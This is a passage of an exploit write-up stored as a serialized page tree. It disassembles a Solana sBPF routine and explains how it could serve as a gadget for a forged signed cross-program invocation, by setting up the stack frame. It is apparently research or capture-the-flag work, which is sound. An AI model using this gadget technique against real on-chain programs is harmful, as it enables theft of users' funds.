{__return_addr}\n",[42502],{"type":20,"tag":119,"props":42503,"children":42504},{"__ignoreMap":7},[42505,42530,42586,42637,42689,42741,42764,42812,42819,42851,42902,42960,42994,43001,43050,43080,43155,43162,43213,43259,43266,43297,43348,43378,43400,43407,43458,43503,43510,43561,43589,43610,43617],{"type":20,"tag":315,"props":42506,"children":42507},{"class":317,"line":318},[42508,42512,42516,42521,42525],{"type":20,"tag":315,"props":42509,"children":42510},{"style":328},[42511],{"type":26,"value":12054},{"type":20,"tag":315,"props":42513,"children":42514},{"style":334},[42515],{"type":26,"value":1861},{"type":20,"tag":315,"props":42517,"children":42518},{"style":328},[42519],{"type":26,"value":42520},"program",{"type":20,"tag":315,"props":42522,"children":42523},{"style":334},[42524],{"type":26,"value":1861},{"type":20,"tag":315,"props":42526,"children":42527},{"style":635},[42528],{"type":26,"value":42529},"invoke_signed_unchecked\n",{"type":20,"tag":315,"props":42531,"children":42532},{"class":317,"line":356},[42533,42538,42543,42548,42553,42558,42563,42567,42572,42577,42582],{"type":20,"tag":315,"props":42534,"children":42535},{"style":635},[42536],{"type":26,"value":42537},"100001ba8",{"type":20,"tag":315,"props":42539,"children":42540},{"style":635},[42541],{"type":26,"value":42542}," 79a278ff00000000",{"type":20,"tag":315,"props":42544,"children":42545},{"style":635},[42546],{"type":26,"value":42547}," ldxdw",{"type":20,"tag":315,"props":42549,"children":42550},{"style":635},[42551],{"type":26,"value":42552}," r2",{"type":20,"tag":315,"props":42554,"children":42555},{"style":328},[42556],{"type":26,"value":42557},", [",{"type":20,"tag":315,"props":42559,"children":42560},{"style":635},[42561],{"type":26,"value":42562},"r10",{"type":20,"tag":315,"props":42564,"children":42565},{"style":334},[42566],{"type":26,"value":478},{"type":20,"tag":315,"props":42568,"children":42569},{"style":765},[42570],{"type":26,"value":42571},"136",{"type":20,"tag":315,"props":42573,"children":42574},{"style":328},[42575],{"type":26,"value":42576},"] {",{"type":20,"tag":315,"props":42578,"children":42579},{"style":635},[42580],{"type":26,"value":42581},"var_88",{"type":20,"tag":315,"props":42583,"children":42584},{"style":328},[42585],{"type":26,"value":577},{"type":20,"tag":315,"props":42587,"children":42588},{"class":317,"line":365},[42589,42594,42599,42603,42608,42612,42616,42620,42624,42628,42633],{"type":20,"tag":315,"props":42590,"children":42591},{"style":635},[42592],{"type":26,"value":42593},"100001bb0",{"type":20,"tag":315,"props":42595,"children":42596},{"style":635},[42597],{"type":26,"value":42598}," 79a380ff00000000",{"type":20,"tag":315,"props":42600,"children":42601},{"style":635},[42602],{"type":26,"value":42547},{"type":20,"tag":315,"props":42604,"children":42605},{"style":635},[42606],{"type":26,"value":42607}," r3",{"type":20,"tag":315,"props":42609,"children":42610},{"style":328},[42611],{"type":26,"value":42557},{"type":20,"tag":315,"props":42613,"children":42614},{"style":635},[42615],{"type":26,"value":42562},{"type":20,"tag":315,"props":42617,"children":42618},{"style":334},[42619],{"type":26,"value":478},{"type":20,"tag":315,"props":42621,"children":42622},{"style":765},[42623],{"type":26,"value":28262},{"type":20,"tag":315,"props":42625,"children":42626},{"style":328},[42627],{"type":26,"value":42576},{"type":20,"tag":315,"props":42629,"children":42630},{"style":635},[42631],{"type":26,"value":42632},"var_80",{"type":20,"tag":315,"props":42634,"children":42635},{"style":328},[42636],{"type":26,"value":577},{"type":20,"tag":315,"props":42638,"children":42639},{"class":317,"line":374},[42640,42645,42650,42654,42659,42663,42667,42671,42676,42680,42685],{"type":20,"tag":315,"props":42641,"children":42642},{"style":635},[42643],{"type":26,"value":42644},"100001bb8",{"type":20,"tag":315,"props":42646,"children":42647},{"style":635},[42648],{"type":26,"value":42649}," 79a468ff00000000",{"type":20,"tag":315,"props":42651,"children":42652},{"style":635},[42653],{"type":26,"value":42547},{"type":20,"tag":315,"props":42655,"children":42656},{"style":635},[42657],{"type":26,"value":42658}," r4",{"type":20,"tag":315,"props":42660,"children":42661},{"style":328},[42662],{"type":26,"value":42557},{"type":20,"tag":315,"props":42664,"children":42665},{"style":635},[42666],{"type":26,"value":42562},{"type":20,"tag":315,"props":42668,"children":42669},{"style":334},[42670],{"type":26,"value":478},{"type":20,"tag":315,"props":42672,"children":42673},{"style":765},[42674],{"type":26,"value":42675},"152",{"type":20,"tag":315,"props":42677,"children":42678},{"style":328},[42679],{"type":26,"value":42576},{"type":20,"tag":315,"props":42681,"children":42682},{"style":635},[42683],{"type":26,"value":42684},"var_98",{"type":20,"tag":315,"props":42686,"children":42687},{"style":328},[42688],{"type":26,"value":577},{"type":20,"tag":315,"props":42690,"children":42691},{"class":317,"line":383},[42692,42697,42702,42706,42711,42715,42719,42723,42728,42732,42737],{"type":20,"tag":315,"props":42693,"children":42694},{"style":635},[42695],{"type":26,"value":42696},"100001bc0",{"type":20,"tag":315,"props":42698,"children":42699},{"style":635},[42700],{"type":26,"value":42701}," 79a570ff00000000",{"type":20,"tag":315,"props":42703,"children":42704},{"style":635},[42705],{"type":26,"value":42547},{"type":20,"tag":315,"props":42707,"children":42708},{"style":635},[42709],{"type":26,"value":42710}," r5",{"type":20,"tag":315,"props":42712,"children":42713},{"style":328},[42714],{"type":26,"value":42557},{"type":20,"tag":315,"props":42716,"children":42717},{"style":635},[42718],{"type":26,"value":42562},{"type":20,"tag":315,"props":42720,"children":42721},{"style":334},[42722],{"type":26,"value":478},{"type":20,"tag":315,"props":42724,"children":42725},{"style":765},[42726],{"type":26,"value":42727},"144",{"type":20,"tag":315,"props":42729,"children":42730},{"style":328},[42731],{"type":26,"value":42576},{"type":20,"tag":315,"props":42733,"children":42734},{"style":635},[42735],{"type":26,"value":42736},"var_90",{"type":20,"tag":315,"props":42738,"children":42739},{"style":328},[42740],{"type":26,"value":577},{"type":20,"tag":315,"props":42742,"children":42743},{"class":317,"line":407},[42744,42749,42754,42759],{"type":20,"tag":315,"props":42745,"children":42746},{"style":635},[42747],{"type":26,"value":42748},"100001bc8",{"type":20,"tag":315,"props":42750,"children":42751},{"style":765},[42752],{"type":26,"value":42753}," 8520000020100000",{"type":20,"tag":315,"props":42755,"children":42756},{"style":635},[42757],{"type":26,"value":42758}," call",{"type":20,"tag":315,"props":42760,"children":42761},{"style":635},[42762],{"type":26,"value":42763}," sol_invoke_signed_rust\n",{"type":20,"tag":315,"props":42765,"children":42766},{"class":317,"line":421},[42767,42772,42777,42782,42786,42790,42794,42798,42803,42807],{"type":20,"tag":315,"props":42768,"children":42769},{"style":635},[42770],{"type":26,"value":42771},"100001bd0",{"type":20,"tag":315,"props":42773,"children":42774},{"style":765},[42775],{"type":26,"value":42776}," 5500040000000000",{"type":20,"tag":315,"props":42778,"children":42779},{"style":635},[42780],{"type":26,"value":42781}," jne",{"type":20,"tag":315,"props":42783,"children":42784},{"style":328},[42785],{"type":26,"value":7115},{"type":20,"tag":315,"props":42787,"children":42788},{"style":334},[42789],{"type":26,"value":817},{"type":20,"tag":315,"props":42791,"children":42792},{"style":765},[42793],{"type":26,"value":15931},{"type":20,"tag":315,"props":42795,"children":42796},{"style":328},[42797],{"type":26,"value":4214},{"type":20,"tag":315,"props":42799,"children":42800},{"style":635},[42801],{"type":26,"value":42802},"r0",{"type":20,"tag":315,"props":42804,"children":42805},{"style":328},[42806],{"type":26,"value":44},{"type":20,"tag":315,"props":42808,"children":42809},{"style":765},[42810],{"type":26,"value":42811},"0x0\n",{"type":20,"tag":315,"props":42813,"children":42814},{"class":317,"line":430},[42815],{"type":20,"tag":315,"props":42816,"children":42817},{"emptyLinePlaceholder":15},[42818],{"type":26,"value":427},{"type":20,"tag":315,"props":42820,"children":42821},{"class":317,"line":453},[42822,42827,42832,42837,42842,42846],{"type":20,"tag":315,"props":42823,"children":42824},{"style":635},[42825],{"type":26,"value":42826},"100001bd8",{"type":20,"tag":315,"props":42828,"children":42829},{"style":635},[42830],{"type":26,"value":42831}," b701000018000000",{"type":20,"tag":315,"props":42833,"children":42834},{"style":635},[42835],{"type":26,"value":42836}," mov",{"type":20,"tag":315,"props":42838,"children":42839},{"style":635},[42840],{"type":26,"value":42841}," r1",{"type":20,"tag":315,"props":42843,"children":42844},{"style":328},[42845],{"type":26,"value":44},{"type":20,"tag":315,"props":42847,"children":42848},{"style":765},[42849],{"type":26,"value":42850},"0x18\n",{"type":20,"tag":315,"props":42852,"children":42853},{"class":317,"line":486},[42854,42859,42864,42868,42872,42876,42880,42884,42889,42893,42898],{"type":20,"tag":315,"props":42855,"children":42856},{"style":635},[42857],{"type":26,"value":42858},"100001be0",{"type":20,"tag":315,"props":42860,"children":42861},{"style":635},[42862],{"type":26,"value":42863}," 79a288ff00000000",{"type":20,"tag":315,"props":42865,"children":42866},{"style":635},[42867],{"type":26,"value":42547},{"type":20,"tag":315,"props":42869,"children":42870},{"style":635},[42871],{"type":26,"value":42552},{"type":20,"tag":315,"props":42873,"children":42874},{"style":328},[42875],{"type":26,"value":42557},{"type":20,"tag":315,"props":42877,"children":42878},{"style":635},[42879],{"type":26,"value":42562},{"type":20,"tag":315,"props":42881,"children":42882},{"style":334},[42883],{"type":26,"value":478},{"type":20,"tag":315,"props":42885,"children":42886},{"style":765},[42887],{"type":26,"value":42888},"120",{"type":20,"tag":315,"props":42890,"children":42891},{"style":328},[42892],{"type":26,"value":42576},{"type":20,"tag":315,"props":42894,"children":42895},{"style":635},[42896],{"type":26,"value":42897},"var_78",{"type":20,"tag":315,"props":42899,"children":42900},{"style":328},[42901],{"type":26,"value":577},{"type":20,"tag":315,"props":42903,"children":42904},{"class":317,"line":499},[42905,42910,42915,42920,42924,42929,42933,42937,42941,42946,42951,42956],{"type":20,"tag":315,"props":42906,"children":42907},{"style":635},[42908],{"type":26,"value":42909},"100001be8",{"type":20,"tag":315,"props":42911,"children":42912},{"style":765},[42913],{"type":26,"value":42914}," 6312000000000000",{"type":20,"tag":315,"props":42916,"children":42917},{"style":635},[42918],{"type":26,"value":42919}," stxw",{"type":20,"tag":315,"props":42921,"children":42922},{"style":328},[42923],{"type":26,"value":21437},{"type":20,"tag":315,"props":42925,"children":42926},{"style":635},[42927],{"type":26,"value":42928},"r2",{"type":20,"tag":315,"props":42930,"children":42931},{"style":334},[42932],{"type":26,"value":478},{"type":20,"tag":315,"props":42934,"children":42935},{"style":765},[42936],{"type":26,"value":1063},{"type":20,"tag":315,"props":42938,"children":42939},{"style":328},[42940],{"type":26,"value":21465},{"type":20,"tag":315,"props":42942,"children":42943},{"style":635},[42944],{"type":26,"value":42945},"r1",{"type":20,"tag":315,"props":42947,"children":42948},{"style":328},[42949],{"type":26,"value":42950}," {",{"type":20,"tag":315,"props":42952,"children":42953},{"style":765},[42954],{"type":26,"value":42955},"0x18",{"type":20,"tag":315,"props":42957,"children":42958},{"style":328},[42959],{"type":26,"value":577},{"type":20,"tag":315,"props":42961,"children":42962},{"class":317,"line":513},[42963,42968,42973,42978,42982,42986,42990],{"type":20,"tag":315,"props":42964,"children":42965},{"style":635},[42966],{"type":26,"value":42967},"100001bf0",{"type":20,"tag":315,"props":42969,"children":42970},{"style":765},[42971],{"type":26,"value":42972}," 0500030000000000",{"type":20,"tag":315,"props":42974,"children":42975},{"style":635},[42976],{"type":26,"value":42977}," ja",{"type":20,"tag":315,"props":42979,"children":42980},{"style":328},[42981],{"type":26,"value":7115},{"type":20,"tag":315,"props":42983,"children":42984},{"style":334},[42985],{"type":26,"value":817},{"type":20,"tag":315,"props":42987,"children":42988},{"style":765},[42989],{"type":26,"value":15698},{"type":20,"tag":315,"props":42991,"children":42992},{"style":328},[42993],{"type":26,"value":4386},{"type":20,"tag":315,"props":42995,"children":42996},{"class":317,"line":521},[42997],{"type":20,"tag":315,"props":42998,"children":42999},{"emptyLinePlaceholder":15},[43000],{"type":26,"value":427},{"type":20,"tag":315,"props":43002,"children":43003},{"class":317,"line":552},[43004,43009,43014,43018,43022,43026,43030,43034,43038,43042,43046],{"type":20,"tag":315,"props":43005,"children":43006},{"style":635},[43007],{"type":26,"value":43008},"100001bf8",{"type":20,"tag":315,"props":43010,"children":43011},{"style":635},[43012],{"type":26,"value":43013}," 79a188ff00000000",{"type":20,"tag":315,"props":43015,"children":43016},{"style":635},[43017],{"type":26,"value":42547},{"type":20,"tag":315,"props":43019,"children":43020},{"style":635},[43021],{"type":26,"value":42841},{"type":20,"tag":315,"props":43023,"children":43024},{"style":328},[43025],{"type":26,"value":42557},{"type":20,"tag":315,"props":43027,"children":43028},{"style":635},[43029],{"type":26,"value":42562},{"type":20,"tag":315,"props":43031,"children":43032},{"style":334},[43033],{"type":26,"value":478},{"type":20,"tag":315,"props":43035,"children":43036},{"style":765},[43037],{"type":26,"value":42888},{"type":20,"tag":315,"props":43039,"children":43040},{"style":328},[43041],{"type":26,"value":42576},{"type":20,"tag":315,"props":43043,"children":43044},{"style":635},[43045],{"type":26,"value":42897},{"type":20,"tag":315,"props":43047,"children":43048},{"style":328},[43049],{"type":26,"value":577},{"type":20,"tag":315,"props":43051,"children":43052},{"class":317,"line":571},[43053,43058,43063,43067,43071,43075],{"type":20,"tag":315,"props":43054,"children":43055},{"style":635},[43056],{"type":26,"value":43057},"100001c00",{"type":20,"tag":315,"props":43059,"children":43060},{"style":635},[43061],{"type":26,"value":43062}," bf02000000000000",{"type":20,"tag":315,"props":43064,"children":43065},{"style":635},[43066],{"type":26,"value":42836},{"type":20,"tag":315,"props":43068,"children":43069},{"style":635},[43070],{"type":26,"value":42552},{"type":20,"tag":315,"props":43072,"children":43073},{"style":328},[43074],{"type":26,"value":44},{"type":20,"tag":315,"props":43076,"children":43077},{"style":635},[43078],{"type":26,"value":43079},"r0\n",{"type":20,"tag":315,"props":43081,"children":43082},{"class":317,"line":2031},[43083,43088,43093,43097,43102,43106,43111,43115,43119,43124,43128,43132,43137,43142,43146,43150],{"type":20,"tag":315,"props":43084,"children":43085},{"style":635},[43086],{"type":26,"value":43087},"100001c08",{"type":20,"tag":315,"props":43089,"children":43090},{"style":765},[43091],{"type":26,"value":43092}," 8510000075000000",{"type":20,"tag":315,"props":43094,"children":43095},{"style":635},[43096],{"type":26,"value":42758},{"type":20,"tag":315,"props":43098,"children":43099},{"style":322},[43100],{"type":26,"value":43101}," _ZN94_",{"type":20,"tag":315,"props":43103,"children":43104},{"style":334},[43105],{"type":26,"value":8688},{"type":20,"tag":315,"props":43107,"children":43108},{"style":322},[43109],{"type":26,"value":43110},"LT",{"type":20,"tag":315,"props":43112,"children":43113},{"style":334},[43114],{"type":26,"value":8688},{"type":20,"tag":315,"props":43116,"children":43117},{"style":635},[43118],{"type":26,"value":12054},{"type":20,"tag":315,"props":43120,"children":43121},{"style":334},[43122],{"type":26,"value":43123},"...$",{"type":20,"tag":315,"props":43125,"children":43126},{"style":635},[43127],{"type":26,"value":6438},{"type":20,"tag":315,"props":43129,"children":43130},{"style":334},[43131],{"type":26,"value":8688},{"type":20,"tag":315,"props":43133,"children":43134},{"style":322},[43135],{"type":26,"value":43136},"GT",{"type":20,"tag":315,"props":43138,"children":43139},{"style":334},[43140],{"type":26,"value":43141},"$$",{"type":20,"tag":315,"props":43143,"children":43144},{"style":322},[43145],{"type":26,"value":43136},{"type":20,"tag":315,"props":43147,"children":43148},{"style":334},[43149],{"type":26,"value":8688},{"type":20,"tag":315,"props":43151,"children":43152},{"style":328},[43153],{"type":26,"value":43154},"4from17ha0d289b72861b06dE\n",{"type":20,"tag":315,"props":43156,"children":43157},{"class":317,"line":2053},[43158],{"type":20,"tag":315,"props":43159,"children":43160},{"emptyLinePlaceholder":15},[43161],{"type":26,"value":427},{"type":20,"tag":315,"props":43163,"children":43164},{"class":317,"line":2061},[43165,43170,43175,43179,43183,43187,43191,43195,43200,43204,43209],{"type":20,"tag":315,"props":43166,"children":43167},{"style":635},[43168],{"type":26,"value":43169},"100001c10",{"type":20,"tag":315,"props":43171,"children":43172},{"style":635},[43173],{"type":26,"value":43174}," 79a2b8ff00000000",{"type":20,"tag":315,"props":43176,"children":43177},{"style":635},[43178],{"type":26,"value":42547},{"type":20,"tag":315,"props":43180,"children":43181},{"style":635},[43182],{"type":26,"value":42552},{"type":20,"tag":315,"props":43184,"children":43185},{"style":328},[43186],{"type":26,"value":42557},{"type":20,"tag":315,"props":43188,"children":43189},{"style":635},[43190],{"type":26,"value":42562},{"type":20,"tag":315,"props":43192,"children":43193},{"style":334},[43194],{"type":26,"value":478},{"type":20,"tag":315,"props":43196,"children":43197},{"style":765},[43198],{"type":26,"value":43199},"72",{"type":20,"tag":315,"props":43201,"children":43202},{"style":328},[43203],{"type":26,"value":42576},{"type":20,"tag":315,"props":43205,"children":43206},{"style":635},[43207],{"type":26,"value":43208},"var_48",{"type":20,"tag":315,"props":43210,"children":43211},{"style":328},[43212],{"type":26,"value":577},{"type":20,"tag":315,"props":43214,"children":43215},{"class":317,"line":2070},[43216,43221,43226,43231,43235,43239,43243,43247,43251,43255],{"type":20,"tag":315,"props":43217,"children":43218},{"style":635},[43219],{"type":26,"value":43220},"100001c18",{"type":20,"tag":315,"props":43222,"children":43223},{"style":765},[43224],{"type":26,"value":43225}," 1502040000000000",{"type":20,"tag":315,"props":43227,"children":43228},{"style":635},[43229],{"type":26,"value":43230}," jeq",{"type":20,"tag":315,"props":43232,"children":43233},{"style":328},[43234],{"type":26,"value":7115},{"type":20,"tag":315,"props":43236,"children":43237},{"style":334},[43238],{"type":26,"value":817},{"type":20,"tag":315,"props":43240,"children":43241},{"style":765},[43242],{"type":26,"value":15931},{"type":20,"tag":315,"props":43244,"children":43245},{"style":328},[43246],{"type":26,"value":4214},{"type":20,"tag":315,"props":43248,"children":43249},{"style":635},[43250],{"type":26,"value":42928},{"type":20,"tag":315,"props":43252,"children":43253},{"style":328},[43254],{"type":26,"value":44},{"type":20,"tag":315,"props":43256,"children":43257},{"style":765},[43258],{"type":26,"value":42811},{"type":20,"tag":315,"props":43260,"children":43261},{"class":317,"line":2139},[43262],{"type":20,"tag":315,"props":43263,"children":43264},{"emptyLinePlaceholder":15},[43265],{"type":26,"value":427},{"type":20,"tag":315,"props":43267,"children":43268},{"class":317,"line":2147},[43269,43274,43279,43284,43288,43292],{"type":20,"tag":315,"props":43270,"children":43271},{"style":635},[43272],{"type":26,"value":43273},"100001c20",{"type":20,"tag":315,"props":43275,"children":43276},{"style":765},[43277],{"type":26,"value":43278}," 2702000022000000",{"type":20,"tag":315,"props":43280,"children":43281},{"style":635},[43282],{"type":26,"value":43283}," mul",{"type":20,"tag":315,"props":43285,"children":43286},{"style":635},[43287],{"type":26,"value":42552},{"type":20,"tag":315,"props":43289,"children":43290},{"style":328},[43291],{"type":26,"value":44},{"type":20,"tag":315,"props":43293,"children":43294},{"style":765},[43295],{"type":26,"value":43296},"0x22\n",{"type":20,"tag":315,"props":43298,"children":43299},{"class":317,"line":2177},[43300,43305,43310,43314,43318,43322,43326,43330,43335,43339,43344],{"type":20,"tag":315,"props":43301,"children":43302},{"style":635},[43303],{"type":26,"value":43304},"100001c28",{"type":20,"tag":315,"props":43306,"children":43307},{"style":635},[43308],{"type":26,"value":43309}," 79a1b0ff00000000",{"type":20,"tag":315,"props":43311,"children":43312},{"style":635},[43313],{"type":26,"value":42547},{"type":20,"tag":315,"props":43315,"children":43316},{"style":635},[43317],{"type":26,"value":42841},{"type":20,"tag":315,"props":43319,"children":43320},{"style":328},[43321],{"type":26,"value":42557},{"type":20,"tag":315,"props":43323,"children":43324},{"style":635},[43325],{"type":26,"value":42562},{"type":20,"tag":315,"props":43327,"children":43328},{"style":334},[43329],{"type":26,"value":478},{"type":20,"tag":315,"props":43331,"children":43332},{"style":765},[43333],{"type":26,"value":43334},"80",{"type":20,"tag":315,"props":43336,"children":43337},{"style":328},[43338],{"type":26,"value":42576},{"type":20,"tag":315,"props":43340,"children":43341},{"style":635},[43342],{"type":26,"value":43343},"var_50",{"type":20,"tag":315,"props":43345,"children":43346},{"style":328},[43347],{"type":26,"value":577},{"type":20,"tag":315,"props":43349,"children":43350},{"class":317,"line":2185},[43351,43356,43361,43365,43369,43373],{"type":20,"tag":315,"props":43352,"children":43353},{"style":635},[43354],{"type":26,"value":43355},"100001c30",{"type":20,"tag":315,"props":43357,"children":43358},{"style":635},[43359],{"type":26,"value":43360}," b703000001000000",{"type":20,"tag":315,"props":43362,"children":43363},{"style":635},[43364],{"type":26,"value":42836},{"type":20,"tag":315,"props":43366,"children":43367},{"style":635},[43368],{"type":26,"value":42607},{"type":20,"tag":315,"props":43370,"children":43371},{"style":328},[43372],{"type":26,"value":44},{"type":20,"tag":315,"props":43374,"children":43375},{"style":765},[43376],{"type":26,"value":43377},"0x1\n",{"type":20,"tag":315,"props":43379,"children":43380},{"class":317,"line":2217},[43381,43386,43391,43395],{"type":20,"tag":315,"props":43382,"children":43383},{"style":635},[43384],{"type":26,"value":43385},"100001c38",{"type":20,"tag":315,"props":43387,"children":43388},{"style":635},[43389],{"type":26,"value":43390}," 8510000003feffff",{"type":20,"tag":315,"props":43392,"children":43393},{"style":635},[43394],{"type":26,"value":42758},{"type":20,"tag":315,"props":43396,"children":43397},{"style":635},[43398],{"type":26,"value":43399}," __rust_dealloc\n",{"type":20,"tag":315,"props":43401,"children":43402},{"class":317,"line":2225},[43403],{"type":20,"tag":315,"props":43404,"children":43405},{"emptyLinePlaceholder":15},[43406],{"type":26,"value":427},{"type":20,"tag":315,"props":43408,"children":43409},{"class":317,"line":2285},[43410,43415,43420,43424,43428,43432,43436,43440,43445,43449,43454],{"type":20,"tag":315,"props":43411,"children":43412},{"style":635},[43413],{"type":26,"value":43414},"100001c40",{"type":20,"tag":315,"props":43416,"children":43417},{"style":635},[43418],{"type":26,"value":43419}," 79a2d0ff00000000",{"type":20,"tag":315,"props":43421,"children":43422},{"style":635},[43423],{"type":26,"value":42547},{"type":20,"tag":315,"props":43425,"children":43426},{"style":635},[43427],{"type":26,"value":42552},{"type":20,"tag":315,"props":43429,"children":43430},{"style":328},[43431],{"type":26,"value":42557},{"type":20,"tag":315,"props":43433,"children":43434},{"style":635},[43435],{"type":26,"value":42562},{"type":20,"tag":315,"props":43437,"children":43438},{"style":334},[43439],{"type":26,"value":478},{"type":20,"tag":315,"props":43441,"children":43442},{"style":765},[43443],{"type":26,"value":43444},"48",{"type":20,"tag":315,"props":43446,"children":43447},{"style":328},[43448],{"type":26,"value":42576},{"type":20,"tag":315,"props":43450,"children":43451},{"style":635},[43452],{"type":26,"value":43453},"var_30",{"type":20,"tag":315,"props":43455,"children":43456},{"style":328},[43457],{"type":26,"value":577},{"type":20,"tag":315,"props":43459,"children":43460},{"class":317,"line":7444},[43461,43466,43471,43475,43479,43483,43487,43491,43495,43499],{"type":20,"tag":315,"props":43462,"children":43463},{"style":635},[43464],{"type":26,"value":43465},"100001c48",{"type":20,"tag":315,"props":43467,"children":43468},{"style":765},[43469],{"type":26,"value":43470}," 1502030000000000",{"type":20,"tag":315,"props":43472,"children":43473},{"style":635},[43474],{"type":26,"value":43230},{"type":20,"tag":315,"props":43476,"children":43477},{"style":328},[43478],{"type":26,"value":7115},{"type":20,"tag":315,"props":43480,"children":43481},{"style":334},[43482],{"type":26,"value":817},{"type":20,"tag":315,"props":43484,"children":43485},{"style":765},[43486],{"type":26,"value":15698},{"type":20,"tag":315,"props":43488,"children":43489},{"style":328},[43490],{"type":26,"value":4214},{"type":20,"tag":315,"props":43492,"children":43493},{"style":635},[43494],{"type":26,"value":42928},{"type":20,"tag":315,"props":43496,"children":43497},{"style":328},[43498],{"type":26,"value":44},{"type":20,"tag":315,"props":43500,"children":43501},{"style":765},[43502],{"type":26,"value":42811},{"type":20,"tag":315,"props":43504,"children":43505},{"class":317,"line":7462},[43506],{"type":20,"tag":315,"props":43507,"children":43508},{"emptyLinePlaceholder":15},[43509],{"type":26,"value":427},{"type":20,"tag":315,"props":43511,"children":43512},{"class":317,"line":7507},[43513,43518,43523,43527,43531,43535,43539,43543,43548,43552,43557],{"type":20,"tag":315,"props":43514,"children":43515},{"style":635},[43516],{"type":26,"value":43517},"100001c50",{"type":20,"tag":315,"props":43519,"children":43520},{"style":635},[43521],{"type":26,"value":43522}," 79a1c8ff00000000",{"type":20,"tag":315,"props":43524,"children":43525},{"style":635},[43526],{"type":26,"value":42547},{"type":20,"tag":315,"props":43528,"children":43529},{"style":635},[43530],{"type":26,"value":42841},{"type":20,"tag":315,"props":43532,"children":43533},{"style":328},[43534],{"type":26,"value":42557},{"type":20,"tag":315,"props":43536,"children":43537},{"style":635},[43538],{"type":26,"value":42562},{"type":20,"tag":315,"props":43540,"children":43541},{"style":334},[43542],{"type":26,"value":478},{"type":20,"tag":315,"props":43544,"children":43545},{"style":765},[43546],{"type":26,"value":43547},"56",{"type":20,"tag":315,"props":43549,"children":43550},{"style":328},[43551],{"type":26,"value":42576},{"type":20,"tag":315,"props":43553,"children":43554},{"style":635},[43555],{"type":26,"value":43556},"var_38",{"type":20,"tag":315,"props":43558,"children":43559},{"style":328},[43560],{"type":26,"value":577},{"type":20,"tag":315,"props":43562,"children":43563},{"class":317,"line":7613},[43564,43569,43573,43577,43581,43585],{"type":20,"tag":315,"props":43565,"children":43566},{"style":635},[43567],{"type":26,"value":43568},"100001c58",{"type":20,"tag":315,"props":43570,"children":43571},{"style":635},[43572],{"type":26,"value":43360},{"type":20,"tag":315,"props":43574,"children":43575},{"style":635},[43576],{"type":26,"value":42836},{"type":20,"tag":315,"props":43578,"children":43579},{"style":635},[43580],{"type":26,"value":42607},{"type":20,"tag":315,"props":43582,"children":43583},{"style":328},[43584],{"type":26,"value":44},{"type":20,"tag":315,"props":43586,"children":43587},{"style":765},[43588],{"type":26,"value":43377},{"type":20,"tag":315,"props":43590,"children":43591},{"class":317,"line":21914},[43592,43597,43602,43606],{"type":20,"tag":315,"props":43593,"children":43594},{"style":635},[43595],{"type":26,"value":43596},"100001c60",{"type":20,"tag":315,"props":43598,"children":43599},{"style":635},[43600],{"type":26,"value":43601}," 85100000fefdffff",{"type":20,"tag":315,"props":43603,"children":43604},{"style":635},[43605],{"type":26,"value":42758},{"type":20,"tag":315,"props":43607,"children":43608},{"style":635},[43609],{"type":26,"value":43399},{"type":20,"tag":315,"props":43611,"children":43612},{"class":317,"line":21949},[43613],{"type":20,"tag":315,"props":43614,"children":43615},{"emptyLinePlaceholder":15},[43616],{"type":26,"value":427},{"type":20,"tag":315,"props":43618,"children":43619},{"class":317,"line":21957},[43620,43625,43630,43635,43640,43645],{"type":20,"tag":315,"props":43621,"children":43622},{"style":635},[43623],{"type":26,"value":43624},"100001c68",{"type":20,"tag":315,"props":43626,"children":43627},{"style":765},[43628],{"type":26,"value":43629}," 9500000000000000",{"type":20,"tag":315,"props":43631,"children":43632},{"style":635},[43633],{"type":26,"value":43634}," exit",{"type":20,"tag":315,"props":43636,"children":43637},{"style":328},[43638],{"type":26,"value":43639}," {",{"type":20,"tag":315,"props":43641,"children":43642},{"style":635},[43643],{"type":26,"value":43644},"__return_addr",{"type":20,"tag":315,"props":43646,"children":43647},{"style":328},[43648],{"type":26,"value":577},{"type":20,"tag":29,"props":43650,"children":43651},{},[43652,43654,43660],{"type":26,"value":43653},"Which, assuming that ",{"type":20,"tag":119,"props":43655,"children":43657},{"className":43656},[],[43658],{"type":26,"value":43659},"sol_invoke_signed_rust",{"type":26,"value":43661}," returns 0, is doing the following:",{"type":20,"tag":68,"props":43663,"children":43664},{},[43665,43674,43683],{"type":20,"tag":72,"props":43666,"children":43667},{},[43668],{"type":20,"tag":119,"props":43669,"children":43671},{"className":43670},[],[43672],{"type":26,"value":43673},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":20,"tag":72,"props":43675,"children":43676},{},[43677],{"type":20,"tag":119,"props":43678,"children":43680},{"className":43679},[],[43681],{"type":26,"value":43682},"*[r10-120] = 0x18",{"type":20,"tag":72,"props":43684,"children":43685},{},[43686,43688,43694,43696,43703],{"type":26,"value":43687},"Calls ",{"type":20,"tag":119,"props":43689,"children":43691},{"className":43690},[],[43692],{"type":26,"value":43693},"__rust_dealloc",{"type":26,"value":43695},", which in default circumstances is a ",{"type":20,"tag":35,"props":43697,"children":43700},{"href":43698,"rel":43699},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[39],[43701],{"type":26,"value":43702},"NOP",{"type":26,"value":61},{"type":20,"tag":29,"props":43705,"children":43706},{},[43707],{"type":26,"value":43708},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":20,"tag":29,"props":43710,"children":43711},{},[43712],{"type":26,"value":43713},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":20,"tag":29,"props":43715,"children":43716},{},[43717,43719,43726],{"type":26,"value":43718},"Looking at the ",{"type":20,"tag":35,"props":43720,"children":43723},{"href":43721,"rel":43722},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[39],[43724],{"type":26,"value":43725},"definition",{"type":26,"value":43727},", it's not crystal clear what the parameters are:",{"type":20,"tag":305,"props":43729,"children":43731},{"className":1360,"code":43730,"language":1359,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> 